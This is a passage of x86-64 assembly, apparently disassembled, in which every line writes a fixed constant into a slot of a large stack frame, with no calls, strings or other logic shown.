mov qword [rsp + 0x82a0], rax
mov byte [rsp + 0xd6], 0xe2
mov byte [rsp + 0xd7], 0x57
movabs rax, 0xc346fd9d6b7f1c1a
mov qword [rsp + 0x82a8], rax
mov dword [rsp + 0x4910], 0x540505fa
movabs rax, 0x2a35482f1605a785
mov qword [rsp + 0x82b0], rax
movabs rax, 0x5e1b9a0a71f3d19c
mov qword [rsp + 0x82b8], rax
mov dword [rsp + 0x4914], 0x67bd539f
mov eax, 0x75e6
mov word [rsp + 0x10f8], ax
mov dword [rsp + 0x4918], 0x5520717a
movabs rax, 0x63557f7111220ae9
mov qword [rsp + 0x82c0], rax
movabs rax, 0xaf56a237fc1b0080
mov qword [rsp + 0x82c8], rax
mov eax, 0x372
mov word [rsp + 0x10fc], ax
mov dword [rsp + 0x491c], 0x9f847efb
mov byte [rsp + 0xd8], 0x78
mov dword [rsp + 0x4920], 0x44869892
movabs rax, 0xbe36761dfc6d989f
mov qword [rsp + 0x82d0], rax
movabs rax, 0x17a59850a122f154
mov qword [rsp + 0x82d8], rax
mov byte [rsp + 0xd9], 0x73
mov byte [rsp + 0xda], 0x25
movabs rax, 0x4d0bdff7930c0879
mov qword [rsp + 0x82e0], rax
mov byte [rsp + 0xdb], 0xb0
mov byte [rsp + 0xdc], 0x78
movabs rax, 0x2ba1ac735e944a87
mov qword [rsp + 0x82e8], rax
mov byte [rsp + 0xdd], 3
mov eax, 0x447
mov word [rsp + 0x1100], ax
mov eax, 0x5f1b
mov word [rsp + 0x1104], ax
mov byte [rsp + 0xde], 0x72
mov dword [rsp + 0x4924], 0xf9043f01
mov eax, 0x26e3
mov word [rsp + 0x1108], ax
mov eax, 0x9d3
mov word [rsp + 0x110c], ax
movabs rax, 0xf443fffd2e0033a
mov qword [rsp + 0x82f0], rax
mov dword [rsp + 0x4928], 0xcf3a928a
mov dword [rsp + 0x492c], 0xcacc97c6
mov eax, 0x53d
mov word [rsp + 0x1110], ax
mov byte [rsp + 0xdf], 0x75
movabs rax, 0x1e8456ca243ad5d8
mov qword [rsp + 0x82f8], rax
mov eax, 0x416b
mov word [rsp + 0x1114], ax
mov eax, 0x158
mov word [rsp + 0x1118], ax
movabs rax, 0x2e5954e07c5bcb59
mov qword [rsp + 0x8300], rax
mov eax, 0x6331
mov word [rsp + 0x111c], ax
mov eax, 0x7c64
mov word [rsp + 0x1120], ax
mov dword [rsp + 0x4930], 0x7ea7cb18
mov dword [rsp + 0x4934], 0x267aa658
mov byte [rsp + 0xe0], 0
movabs rax, 0x6ac1aa85814686ac
mov qword [rsp + 0x8308], rax
mov byte [rsp + 0xe1], 0x22
movabs rax, 0x3c606582bb0c5003
mov qword [rsp + 0x8310], rax
movabs rax, 0x34e56c6fb2cbc49
mov qword [rsp + 0x8318], rax
mov eax, 0x7457
mov word [rsp + 0x1124], ax
movabs rax, 0x40e9045b914891df
mov qword [rsp + 0x8320], rax
mov byte [rsp + 0xe2], 0x78
movabs rax, 0x7f19d53de52bbcc5
mov qword [rsp + 0x8328], rax
mov eax, 0x4cc
mov word [rsp + 0x1128], ax
mov eax, 0x589
mov word [rsp + 0x112c], ax
mov eax, 0x164d
mov word [rsp + 0x1130], ax
movabs rax, 0x479a4ea2a0bbadb4
mov qword [rsp + 0x8330], rax
mov dword [rsp + 0x4938], 0xea349c29
mov eax, 0xfc8
mov word [rsp + 0x1134], ax
mov eax, 0x1ab8
mov word [rsp + 0x1138], ax
movabs rax, 0x531cbfc16b1fa039
mov qword [rsp + 0x8338], rax
mov eax, 0x261
mov word [rsp + 0x113c], ax
mov byte [rsp + 0xe3], 5
mov dword [rsp + 0x493c], 0x695c0f28
mov eax, 0xd71
mov word [rsp + 0x1140], ax
mov eax, 0x6d7b
mov word [rsp + 0x1144], ax
mov byte [rsp + 0xe4], 0x51
movabs rax, 0x5d590a0776d5cd52
mov qword [rsp + 0x8340], rax
mov eax, 0x48b
mov word [rsp + 0x1148], ax
movabs rax, 0xf518b60f82ed000
mov qword [rsp + 0x8348], rax
movabs rax, 0x47b260cf87d22b18
mov qword [rsp + 0x8350], rax
mov eax, 0xd76
mov word [rsp + 0x114c], ax
mov eax, 0x81a
mov word [rsp + 0x1150], ax
mov byte [rsp + 0xe5], 0x75
mov byte [rsp + 0xe6], 0x72
movabs rax, 0x7f4a7df9f92d4184
mov qword [rsp + 0x8358], rax
mov byte [rsp + 0xe7], 0x37
mov dword [rsp + 0x4940], 0x908155a3
mov byte [rsp + 0xe8], 0x5e
movabs rax, 0x1aefd2e767a4973c
mov qword [rsp + 0x8360], rax
movabs rax, 0x5b8acbb071820320
mov qword [rsp + 0x8368], rax
mov dword [rsp + 0x4944], 0x166fda94
movabs rax, 0x2d02c84fd0eeed5e
mov qword [rsp + 0x8370], rax
mov dword [rsp + 0x4948], 0x58aa061a
movabs rax, 0x8cb5ab70c93f38a
mov qword [rsp + 0x8378], rax
mov eax, 0xa17
mov word [rsp + 0x1154], ax
mov dword [rsp + 0x494c], 0xb60c580a
movabs rax, 0x50c9f26aba649c20
mov qword [rsp + 0x8380], rax
movabs rax, 0x6bc416c00a28acb3
mov qword [rsp + 0x8388], rax
mov dword [rsp + 0x4950], 0x7c44cd66
mov dword [rsp + 0x4954], 0x35535e78
mov dword [rsp + 0x4958], 0x4559d6e7
mov byte [rsp + 0xe9], 0xa9
mov dword [rsp + 0x495c], 0xe7df0dbd
movabs rax, 0x93630ca43646c109
mov qword [rsp + 0x8390], rax
mov eax, 0x583
mov word [rsp + 0x1158], ax
mov byte [rsp + 0xea], 0xd4
mov eax, 0x76e
mov word [rsp + 0x115c], ax
mov byte [rsp + 0xeb], 0x65
mov eax, 0x88f
mov word [rsp + 0x1160], ax
mov dword [rsp + 0x4960], 0x162b2cb8
movabs rax, 0xf0d80bc17b7a2f0
mov qword [rsp + 0x8398], rax
mov dword [rsp + 0x4964], 0xc38a3d9
movabs rax, 0x14d72572ba2279ea
mov qword [rsp + 0x83a0], rax
mov byte [rsp + 0xec], 0x42
mov dword [rsp + 0x4968], 0x5db5c2b4
mov eax, 0x2b28
mov word [rsp + 0x1164], ax
mov dword [rsp + 0x496c], 0x985db85
mov byte [rsp + 0xed], 0x1b
mov eax, 0x584
mov word [rsp + 0x1168], ax
mov dword [rsp + 0x4970], 0x737d2be
mov byte [rsp + 0xee], 0xc9
movabs rax, 0x7221a335ea1e7e6e
mov qword [rsp + 0x83a8], rax
mov dword [rsp + 0x4974], 0x9640e9b2
mov byte [rsp + 0xef], 0
movabs rax, 0xf198b46360707403
mov qword [rsp + 0x83b0], rax
mov byte [rsp + 0xf0], 0x7e
movabs rax, 0x14866340f7244d9a
mov qword [rsp + 0x83b8], rax
mov byte [rsp + 0xf1], 0x3e
mov byte [rsp + 0xf2], 0x28
mov eax, 0xf50
mov word [rsp + 0x116c], ax
mov byte [rsp + 0xf3], 6
mov eax, 0x864
mov word [rsp + 0x1170], ax
movabs rax, 0xbf94cbb3cf4c50ef
mov qword [rsp + 0x83c0], rax
mov eax, 0x63ae
mov word [rsp + 0x1174], ax
movabs rax, 0x282c4b288631a553
mov qword [rsp + 0x83c8], rax
mov eax, 0x73b1
mov word [rsp + 0x1178], ax
mov eax, 0xa14
mov word [rsp + 0x117c], ax
mov dword [rsp + 0x4978], 0x3503c02b
movabs rax, 0x74eb65c80d5b61de
mov qword [rsp + 0x83d0], rax
mov eax, 0xe3c
mov word [rsp + 0x1180], ax
movabs rax, 0x3fbf1d2cd2366d72
mov qword [rsp + 0x83d8], rax
movabs rax, 0x168f9416a3171363
mov qword [rsp + 0x83e0], rax
mov dword [rsp + 0x497c], 0x5d6cc4b1
mov eax, 0x71c
mov word [rsp + 0x1184], ax
mov byte [rsp + 0xf4], 3
mov dword [rsp + 0x4980], 0x3800071c
mov dword [rsp + 0x4984], 0xd9a17b6b
movabs rax, 0xb824d89eac90d90a
mov qword [rsp + 0x83e8], rax
mov byte [rsp + 0xf5], 0x88
mov dword [rsp + 0x4988], 0x424263b4
mov eax, 0x7323
mov word [rsp + 0x1188], ax
mov dword [rsp + 0x498c], 0xc57bf264
mov dword [rsp + 0x4990], 0x3cbb6fde
movabs rax, 0x516efed1836dc5a3
mov qword [rsp + 0x83f0], rax
movabs rax, 0x35e54ef6ff599bb6
mov qword [rsp + 0x83f8], rax
movabs rax, 0x218a855e1fbfd180
mov qword [rsp + 0x8400], rax
movabs rax, 0x17dc5ce43b09aefa
mov qword [rsp + 0x8408], rax
mov byte [rsp + 0xf6], 0x6d
mov dword [rsp + 0x4994], 0x52e4fa61
movabs rax, 0xdc1b6a0a4621c401
mov qword [rsp + 0x8410], rax
mov dword [rsp + 0x4998], 0x1463bca7
mov eax, 0x391
mov word [rsp + 0x118c], ax
mov dword [rsp + 0x499c], 0x527a37d2
mov byte [rsp + 0xf7], 0x11
mov eax, 0x70c
mov word [rsp + 0x1190], ax
movabs rax, 0x78ff2e88e32e34ac
mov qword [rsp + 0x8418], rax
mov eax, 0x950
mov word [rsp + 0x1194], ax
mov byte [rsp + 0xf8], 0xce
movabs rax, 0x5951b530b693fb3
mov qword [rsp + 0x8420], rax
movabs rax, 0x53bee4d465704222
mov qword [rsp + 0x8428], rax
movabs rax, 0x56b1984ebcda1a5
mov qword [rsp + 0x8430], rax
mov byte [rsp + 0xf9], 0x42
mov byte [rsp + 0xfa], 0x26
mov byte [rsp + 0xfb], 0x11
mov eax, 0x4a7e
mov word [rsp + 0x1198], ax
mov eax, 0x5dc1
mov word [rsp + 0x119c], ax
mov dword [rsp + 0x49a0], 0x4f194f44
mov byte [rsp + 0xfc], 0x89
movabs rax, 0x20e242fa23cad1f6
mov qword [rsp + 0x8438], rax
mov dword [rsp + 0x49a4], 0x52e6c368
movabs rax, 0x28219bc6475385d3
mov qword [rsp + 0x8440], rax
mov dword [rsp + 0x49a8], 0x3fecf66
mov eax, 0xa78
mov word [rsp + 0x11a0], ax
mov byte [rsp + 0xfd], 0x68
mov eax, 0x3af
mov word [rsp + 0x11a4], ax
mov byte [rsp + 0xfe], 0x4d
mov byte [rsp + 0xff], 0x3e
mov dword [rsp + 0x49ac], 0x1dc91e19
mov eax, 0x779
mov word [rsp + 0x11a8], ax
movabs rax, 0x4e4ec26209813433
mov qword [rsp + 0x8448], rax
movabs rax, 0x3f26c4b409db67c3
mov qword [rsp + 0x8450], rax
mov byte [rsp + 0x100], 2
movabs rax, 0x242497d15fc5132b
mov qword [rsp + 0x8458], rax
mov dword [rsp + 0x49b0], 0xec92eb6
mov byte [rsp + 0x101], 0x3c
movabs rax, 0x660de6faa284f9cd
mov qword [rsp + 0x8460], rax
movabs rax, 0x277bf1a44c293f93
mov qword [rsp + 0x8468], rax
movabs rax, 0xeff9141fda6611aa
mov qword [rsp + 0x8470], rax
mov eax, 0x13b6
mov word [rsp + 0x11ac], ax
mov eax, 0x5c8
mov word [rsp + 0x11b0], ax
movabs rax, 0xf1001c4a74e13c70
mov qword [rsp + 0x8478], rax
movabs rax, 0x5f060215af6cee64
mov qword [rsp + 0x8480], rax
movabs rax, 0xf6444d087b2a146c
mov qword [rsp + 0x8488], rax
movabs rax, 0x8f3950d3c266995b
mov qword [rsp + 0x8490], rax
mov eax, 0x7c1b
mov word [rsp + 0x11b4], ax
movabs rax, 0x7a2caf33c09c29d7
mov qword [rsp + 0x8498], rax
mov byte [rsp + 0x102], 0x4a
mov byte [rsp + 0x103], 0x1f
movabs rax, 0x3618489516fc11f1
mov qword [rsp + 0x84a0], rax
mov eax, 0x6f7
mov word [rsp + 0x11b8], ax
movabs rax, 0x6f9f7fa3d6663d0d
mov qword [rsp + 0x84a8], rax
mov byte [rsp + 0x104], 0xe2
mov dword [rsp + 0x49b4], 0xa773f4c
movabs rax, 0x15e48d0082791d58
mov qword [rsp + 0x84b0], rax
mov dword [rsp + 0x49b8], 0x79674d1a
mov byte [rsp + 0x105], 0xa
mov eax, 0x3d97
mov word [rsp + 0x11bc], ax
mov dword [rsp + 0x49bc], 0x5ac8ed67
mov byte [rsp + 0x106], 0x17
mov eax, 0x256
mov word [rsp + 0x11c0], ax
mov dword [rsp + 0x49c0], 0x1f9b32b7
movabs rax, 0x753e8f7ea0469cb7
mov qword [rsp + 0x84b8], rax
movabs rax, 0xfe4202d3d80baf75
mov qword [rsp + 0x84c0], rax
movabs rax, 0xd31a683a10001e6c
mov qword [rsp + 0x84c8], rax
mov dword [rsp + 0x49c4], 0x87f7b
mov dword [rsp + 0x49c8], 0x3ce3f5aa
movabs rax, 0x309ff07505ea8493
mov qword [rsp + 0x84d0], rax
movabs rax, 0x43c3bb7120307b22
mov qword [rsp + 0x84d8], rax
mov byte [rsp + 0x107], 0xa
mov dword [rsp + 0x49cc], 0xc7a6ecf
mov dword [rsp + 0x49d0], 0x21abc7be
mov eax, 0x196e
mov word [rsp + 0x11c4], ax
movabs rax, 0x851d7ed68d0f287d
mov qword [rsp + 0x84e0], rax
movabs rax, 0xe18aaa4ad88b9a12
mov qword [rsp + 0x84e8], rax
movabs rax, 0x45a9835fccd324e9
mov qword [rsp + 0x84f0], rax
mov byte [rsp + 0x108], 5
movabs rax, 0xb6ad9f124cd8accf
mov qword [rsp + 0x84f8], rax
mov eax, 0xa3e
mov word [rsp + 0x11c8], ax
mov eax, 0x599f
mov word [rsp + 0x11cc], ax
mov byte [rsp + 0x109], 0x7e
movabs rax, 0xf1d318a5d5229810
mov qword [rsp + 0x8500], rax
mov byte [rsp + 0x10a], 0xc5
mov byte [rsp + 0x10b], 0x70
mov dword [rsp + 0x49d4], 0x5f1ed0a2
movabs rax, 0x2961f1d4ec618da0
mov qword [rsp + 0x8508], rax
movabs rax, 0x507aa9810a6b1df5
mov qword [rsp + 0x8510], rax
movabs rax, 0xa16304ba7c227182
mov qword [rsp + 0x8518], rax
mov dword [rsp + 0x49d8], 0xe8a97da8
movabs rax, 0xc1bfd2aa7ddaae5
mov qword [rsp + 0x8520], rax
movabs rax, 0x73a92317d6188d16
mov qword [rsp + 0x8528], rax
mov dword [rsp + 0x49dc], 0x28ee2009
mov byte [rsp + 0x10c], 8
mov dword [rsp + 0x49e0], 0x11b1a73f
mov eax, 0x15e
mov word [rsp + 0x11d0], ax
mov dword [rsp + 0x49e4], 0x179401fc
mov eax, 0x5bc
mov word [rsp + 0x11d4], ax
mov dword [rsp + 0x49e8], 0x4538171c
mov dword [rsp + 0x49ec], 0x3a0938cb
movabs rax, 0x4bb58864fa228b95
mov qword [rsp + 0x8530], rax
mov dword [rsp + 0x49f0], 0x69e74533
mov dword [rsp + 0x49f4], 0x6fdd6600
mov byte [rsp + 0x10d], 0x22
mov byte [rsp + 0x10e], 0xb3
mov eax, 0x5c1a
mov word [rsp + 0x11d8], ax
mov eax, 0x2c31
mov word [rsp + 0x11dc], ax
mov eax, 0x5fc
mov word [rsp + 0x11e0], ax
mov byte [rsp + 0x10f], 0xd9
mov byte [rsp + 0x110], 0x27
mov eax, 0x61a1
mov word [rsp + 0x11e4], ax
mov byte [rsp + 0x111], 0x54
mov eax, 0xed5
mov word [rsp + 0x11e8], ax
mov byte [rsp + 0x112], 8
mov dword [rsp + 0x49f8], 0x8581d9ef
mov byte [rsp + 0x113], 0xf5
mov byte [rsp + 0x114], 0x62
mov eax, 0xa8
mov word [rsp + 0x11ec], ax
mov byte [rsp + 0x115], 0xed
mov eax, 0x7368
mov word [rsp + 0x11f0], ax
mov byte [rsp + 0x116], 1
mov eax, 0x2bad
mov word [rsp + 0x11f4], ax
mov eax, 0xe6e
mov word [rsp + 0x11f8], ax
mov byte [rsp + 0x117], 0xfb
movabs rax, 0x4215c9a7ffb6c8d
mov qword [rsp + 0x8538], rax
movabs rax, 0x9e61fe3f622c123b
mov qword [rsp + 0x8540], rax
mov dword [rsp + 0x49fc], 0xc4f07f67
mov eax, 0x1ec5
mov word [rsp + 0x11fc], ax
mov dword [rsp + 0x4a00], 0x6b9e2880
mov byte [rsp + 0x118], 0xa2
mov dword [rsp + 0x4a04], 0x4c8e8d0b
mov byte [rsp + 0x119], 0x6a
movabs rax, 0x39ac08f2ea11b530
mov qword [rsp + 0x8548], rax
mov dword [rsp + 0x4a08], 0x77eb92fe
mov dword [rsp + 0x4a0c], 0x1c51b3cf
mov dword [rsp + 0x4a10], 0x3a9d338a
movabs rax, 0x6a9d544227b18d60
mov qword [rsp + 0x8550], rax
mov byte [rsp + 0x11a], 0x2f
movabs rax, 0xf5a874559d513622
mov qword [rsp + 0x8558], rax
mov eax, 0x37b
mov word [rsp + 0x1200], ax
mov byte [rsp + 0x11b], 0x16
mov byte [rsp + 0x11c], 7
mov eax, 0x5bc
mov word [rsp + 0x1204], ax
mov eax, 0x411
mov word [rsp + 0x1208], ax
mov dword [rsp + 0x4a14], 0x11d95e9c
mov dword [rsp + 0x4a18], 0xb1b8b996
movabs rax, 0x5a2f43584102f0a2
mov qword [rsp + 0x8560], rax
mov eax, 0x2b3c
mov word [rsp + 0x120c], ax
mov dword [rsp + 0x4a1c], 0x7b283d5c
movabs rax, 0x9e4f130a3f5a943
mov qword [rsp + 0x8568], rax
mov dword [rsp + 0x4a20], 0x46447eb1
movabs rax, 0x51250095b70ec0e1
mov qword [rsp + 0x8570], rax
movabs rax, 0xc7ae62f91e2c681d
mov qword [rsp + 0x8578], rax
mov byte [rsp + 0x11d], 8
mov eax, 0xb91
mov word [rsp + 0x1210], ax
mov byte [rsp + 0x11e], 0x11
mov byte [rsp + 0x11f], 0x4c
mov eax, 0x2f9
mov word [rsp + 0x1214], ax
mov eax, 0x317
mov word [rsp + 0x1218], ax
movabs rax, 0x648a20c4e0d89aae
mov qword [rsp + 0x8580], rax
mov dword [rsp + 0x4a24], 0x6e1b7536
mov byte [rsp + 0x120], 6
mov eax, 0xcab
mov word [rsp + 0x121c], ax
mov eax, 0x5d37
mov word [rsp + 0x1220], ax
mov byte [rsp + 0x121], 0x65
mov byte [rsp + 0x122], 0x6b
mov byte [rsp + 0x123], 0x41
movabs rax, 0x1dbebbb6d59069bd
mov qword [rsp + 0x8588], rax
mov dword [rsp + 0x4a28], 0x539bfd36
mov byte [rsp + 0x124], 0x26
mov dword [rsp + 0x4a2c], 0x9d812b5e
mov dword [rsp + 0x4a30], 0x114343b6
movabs rax, 0x8471fb11d8150876
mov qword [rsp + 0x8590], rax
mov dword [rsp + 0x4a34], 0x29510785
mov byte [rsp + 0x125], 0x38
movabs rax, 0x900438a91472f67d
mov qword [rsp + 0x8598], rax
mov byte [rsp + 0x126], 0xea
mov dword [rsp + 0x4a38], 0xe78b1100
mov dword [rsp + 0x4a3c], 0x2fc6c77
movabs rax, 0x10261d2f16c08c17
mov qword [rsp + 0x85a0], rax
movabs rax, 0x543ea78a771133ab
mov qword [rsp + 0x85a8], rax
movabs rax, 0x6b1ed12ed52141f6
mov qword [rsp + 0x85b0], rax
mov byte [rsp + 0x127], 0x5d
mov byte [rsp + 0x128], 0x15
movabs rax, 0x459939ac7b9ff09c
mov qword [rsp + 0x85b8], rax
mov dword [rsp + 0x4a40], 0x2412625b
movabs rax, 0x3da270d45c09463
mov qword [rsp + 0x85c0], rax
mov byte [rsp + 0x129], 4
movabs rax, 0x495bb4e8a25e735d
mov qword [rsp + 0x85c8], rax
mov eax, 0xdb8
mov word [rsp + 0x1224], ax
mov byte [rsp + 0x12a], 0x20
mov eax, 0x1dce
mov word [rsp + 0x1228], ax
movabs rax, 0x6277c5cfdc026319
mov qword [rsp + 0x85d0], rax
mov dword [rsp + 0x4a44], 0x8f53998a
mov byte [rsp + 0x12b], 0xef
mov eax, 0x3e
mov word [rsp + 0x122c], ax
mov byte [rsp + 0x12c], 5
mov eax, 0x338e
mov word [rsp + 0x1230], ax
mov eax, 0x885
mov word [rsp + 0x1234], ax
mov eax, 0xb38
mov word [rsp + 0x1238], ax
mov byte [rsp + 0x12d], 0x13
mov byte [rsp + 0x12e], 0xbd
mov dword [rsp + 0x4a48], 0x886a5f01
mov eax, 0x367
mov word [rsp + 0x123c], ax
mov dword [rsp + 0x4a4c], 0x18cfacb2
mov dword [rsp + 0x4a50], 0x52eb43bb
mov eax, 0x2784
mov word [rsp + 0x1240], ax
mov byte [rsp + 0x12f], 0xd6
movabs rax, 0x567418e12a72d741
mov qword [rsp + 0x85d8], rax
mov dword [rsp + 0x4a54], 0x473c0e37
mov byte [rsp + 0x130], 0x5d
mov byte [rsp + 0x131], 0x14
mov dword [rsp + 0x4a58], 0x9c94f23
mov byte [rsp + 0x132], 0x71
mov dword [rsp + 0x4a5c], 0x691c9721
movabs rax, 0x6e71e1c62096f4ea
mov qword [rsp + 0x85e0], rax
mov dword [rsp + 0x4a60], 0xdb7b2b4b
movabs rax, 0xfc90ebfe46eb08c4
mov qword [rsp + 0x85e8], rax
mov eax, 0x4c6f
mov word [rsp + 0x1244], ax
mov dword [rsp + 0x4a64], 0xaccee34
mov eax, 0xd6
mov word [rsp + 0x1248], ax
mov byte [rsp + 0x133], 0x23
mov eax, 0x367
mov word [rsp + 0x124c], ax
mov dword [rsp + 0x4a68], 0xdc8765ef
mov dword [rsp + 0x4a6c], 0x3fdb13a0
movabs rax, 0x6c6fd5cddefd5dde
mov qword [rsp + 0x85f0], rax
mov eax, 0xa2e
mov word [rsp + 0x1250], ax
movabs rax, 0x2092b1f652b77693
mov qword [rsp + 0x85f8], rax
mov byte [rsp + 0x134], 0xc
movabs rax, 0x123240f6c1348b5d
mov qword [rsp + 0x8600], rax
mov byte [rsp + 0x135], 0x17
mov byte [rsp + 0x136], 1
movabs rax, 0x96d21190fd9c1875
mov qword [rsp + 0x8608], rax
mov eax, 0xcb6
mov word [rsp + 0x1254], ax
mov eax, 0x8eb
mov word [rsp + 0x1258], ax
movabs rax, 0x3db9a28be5e22e6c
mov qword [rsp + 0x8610], rax
mov eax, 0x710e
mov word [rsp + 0x125c], ax
mov byte [rsp + 0x137], 0x57
movabs rax, 0xb102f2347f0ff0c0
mov qword [rsp + 0x8618], rax
movabs rax, 0xb23ee7d71ba6e9e4
mov qword [rsp + 0x8620], rax
movabs rax, 0x21901c0b589cbf4e
mov qword [rsp + 0x8628], rax
mov eax, 0x2d8
mov word [rsp + 0x1260], ax
mov byte [rsp + 0x138], 0x27
mov dword [rsp + 0x4a70], 0x207829fe
mov eax, 0x74d
mov word [rsp + 0x1264], ax
mov eax, 0x587b
mov word [rsp + 0x1268], ax
movabs rax, 0x4e7220dd9f018413
mov qword [rsp + 0x8630], rax
mov dword [rsp + 0x4a74], 0x48a095d1
mov byte [rsp + 0x139], 0xfe
mov byte [rsp + 0x13a], 0xdb
mov eax, 0x6a10
mov word [rsp + 0x126c], ax
movabs rax, 0xbb7b4c8c11c3bbe6
mov qword [rsp + 0x8638], rax
mov eax, 0x4ba5
mov word [rsp + 0x1270], ax
mov eax, 0x69d
mov word [rsp + 0x1274], ax
mov byte [rsp + 0x13b], 0x7b
mov byte [rsp + 0x13c], 6
movabs rax, 0xfcd992e21f238cc
mov qword [rsp + 0x8640], rax
movabs rax, 0x6ec9781e234605f2
mov qword [rsp + 0x8648], rax
mov byte [rsp + 0x13d], 0x6e
mov dword [rsp + 0x4a78], 0x226c6cb7
mov byte [rsp + 0x13e], 4
mov eax, 0xde5
mov word [rsp + 0x1278], ax
movabs rax, 0xcd5e63651799ba42
mov qword [rsp + 0x8650], rax
mov byte [rsp + 0x13f], 0xc1
mov dword [rsp + 0x4a7c], 0xad18e45
movabs rax, 0xc6c2d9c0ab245e7
mov qword [rsp + 0x8658], rax
mov dword [rsp + 0x4a80], 0x56ede6cf
mov byte [rsp + 0x140], 0x6e
mov dword [rsp + 0x4a84], 0x398b6ea8
mov eax, 0x87a
mov word [rsp + 0x127c], ax
mov dword [rsp + 0x4a88], 0x8e6bcf53
movabs rax, 0x69775d95c0e13468
mov qword [rsp + 0x8660], rax
movabs rax, 0xb5514c08a36f7e6c
mov qword [rsp + 0x8668], rax
mov eax, 0x5b7
mov word [rsp + 0x1280], ax
mov dword [rsp + 0x4a8c], 0x513fa0b0
mov dword [rsp + 0x4a90], 0x5e7c53be
movabs rax, 0x733e2c5daf0e64a6
mov qword [rsp + 0x8670], rax
mov byte [rsp + 0x141], 0x10
mov eax, 0x29cf
mov word [rsp + 0x1284], ax
mov dword [rsp + 0x4a94], 0x4bc4a382
mov byte [rsp + 0x142], 0x45
mov byte [rsp + 0x143], 8
movabs rax, 0xb0f8771c53cad9b3
mov qword [rsp + 0x8678], rax
mov byte [rsp + 0x144], 0x14
mov dword [rsp + 0x4a98], 0x6087c4ed
mov eax, 0x13e0
mov word [rsp + 0x1288], ax
mov dword [rsp + 0x4a9c], 0x1e33b3f2
mov dword [rsp + 0x4aa0], 0x6c18f224
mov byte [rsp + 0x145], 0x63
movabs rax, 0x749f47fc8c4b2d60
mov qword [rsp + 0x8680], rax
movabs rax, 0xd6dbb9c98a31c774
mov qword [rsp + 0x8688], rax
mov dword [rsp + 0x4aa4], 0x2ec2c7ec
movabs rax, 0xc12213bfec0e84d9
mov qword [rsp + 0x8690], rax
mov dword [rsp + 0x4aa8], 0x6fc90d3a
movabs rax, 0x5afc95777bb2ff2c
mov qword [rsp + 0x8698], rax
mov byte [rsp + 0x146], 0x5f
mov eax, 0x7b07
mov word [rsp + 0x128c], ax
mov dword [rsp + 0x4aac], 0x18e8e1f0
mov byte [rsp + 0x147], 0x25
mov byte [rsp + 0x148], 0x35
movabs rax, 0x7310e9eec246ee36
mov qword [rsp + 0x86a0], rax
mov byte [rsp + 0x149], 0xdb
movabs rax, 0x2da08365d526c01d
mov qword [rsp + 0x86a8], rax
movabs rax, 0x960deba974965e0
mov qword [rsp + 0x86b0], rax
movabs rax, 0xb6762ebe9432d0fd
mov qword [rsp + 0x86b8], rax
mov byte [rsp + 0x14a], 0x85
mov eax, 0x5b5b
mov word [rsp + 0x1290], ax
movabs rax, 0x229d948275289b6c
mov qword [rsp + 0x86c0], rax
mov byte [rsp + 0x14b], 0x96
mov eax, 0x92f
mov word [rsp + 0x1294], ax
mov eax, 0x4993
mov word [rsp + 0x1298], ax
movabs rax, 0xdaa7a116343b36eb
mov qword [rsp + 0x86c8], rax
mov eax, 0x6a6
mov word [rsp + 0x129c], ax
mov byte [rsp + 0x14c], 0x4e
mov dword [rsp + 0x4ab0], 0x7939d56e
mov dword [rsp + 0x4ab4], 0x137291bc
mov eax, 0xe45
mov word [rsp + 0x12a0], ax
mov eax, 0x9ce
mov word [rsp + 0x12a4], ax
movabs rax, 0xf35d02c3eb0ec525
mov qword [rsp + 0x86d0], rax
mov dword [rsp + 0x4ab8], 0x2528aa25
movabs rax, 0x17747b77fb1ed81c
mov qword [rsp + 0x86d8], rax
mov dword [rsp + 0x4abc], 0x58af52b8
mov eax, 0x3aa8
mov word [rsp + 0x12a8], ax
mov dword [rsp + 0x4ac0], 0x72aff315
mov byte [rsp + 0x14d], 0x16
mov dword [rsp + 0x4ac4], 0x2ae56ca5
mov eax, 0xb30
mov word [rsp + 0x12ac], ax
movabs rax, 0x26ab589a6bd14565
mov qword [rsp + 0x86e0], rax
mov byte [rsp + 0x14e], 0x1d
mov dword [rsp + 0x4ac8], 0x47c70b33
mov eax, 0x494
mov word [rsp + 0x12b0], ax
mov dword [rsp + 0x4acc], 0x9a9a2077
movabs rax, 0x2b84094a9370d170
mov qword [rsp + 0x86e8], rax
mov byte [rsp + 0x14f], 0x50
mov eax, 0x851
mov word [rsp + 0x12b4], ax
mov eax, 0x2526
mov word [rsp + 0x12b8], ax
mov byte [rsp + 0x150], 0x46
mov dword [rsp + 0x4ad0], 0x7c823c41
movabs rax, 0x7dc1174046e66650
mov qword [rsp + 0x86f0], rax
mov dword [rsp + 0x4ad4], 0x4b43e904
mov eax, 0x5164
mov word [rsp + 0x12bc], ax
mov eax, 0x5917
mov word [rsp + 0x12c0], ax
movabs rax, 0x2490194cdcf6d8d7
mov qword [rsp + 0x86f8], rax
mov eax, 0xc82
mov word [rsp + 0x12c4], ax
movabs rax, 0x222cb8f5bba4e7f8
mov qword [rsp + 0x8700], rax
mov byte [rsp + 0x151], 0x1c
mov eax, 0x7d86
mov word [rsp + 0x12c8], ax
mov byte [rsp + 0x152], 0xa9
mov dword [rsp + 0x4ad8], 0x6cdfa51d
movabs rax, 0xbcdec8db2a9add70
mov qword [rsp + 0x8708], rax
movabs rax, 0xf17623c312b6f6de
mov qword [rsp + 0x8710], rax
movabs rax, 0x76813f2444120bb3
mov qword [rsp + 0x8718], rax
mov dword [rsp + 0x4adc], 0x795fd93f
mov byte [rsp + 0x153], 0x61
mov dword [rsp + 0x4ae0], 0x53a609b7
movabs rax, 0x37034e110d7ecfe2
mov qword [rsp + 0x8720], rax
mov byte [rsp + 0x154], 0x53
mov eax, 0x431b
mov word [rsp + 0x12cc], ax
mov byte [rsp + 0x155], 0xa4
movabs rax, 0x4216144b4cb068a8
mov qword [rsp + 0x8728], rax
mov byte [rsp + 0x156], 0x77
mov eax, 0x1e42
mov word [rsp + 0x12d0], ax
mov byte [rsp + 0x157], 0xa7
movabs rax, 0xbb4bb09ae8494e90
mov qword [rsp + 0x8730], rax
mov eax, 0x2b89
mov word [rsp + 0x12d4], ax
mov eax, 0xf6c
mov word [rsp + 0x12d8], ax
mov byte [rsp + 0x158], 0xa0
mov eax, 0x436d
mov word [rsp + 0x12dc], ax
movabs rax, 0x485fa76a1c614859
mov qword [rsp + 0x8738], rax
mov eax, 0x33
mov word [rsp + 0x12e0], ax
mov byte [rsp + 0x159], 0x19
movabs rax, 0x77811aeba94548c8
mov qword [rsp + 0x8740], rax
mov dword [rsp + 0x4ae4], 0x73b336da
mov dword [rsp + 0x4ae8], 0x3302707c
movabs rax, 0x6d4c73af71fb28f6
mov qword [rsp + 0x8748], rax
mov eax, 0x632d
mov word [rsp + 0x12e4], ax
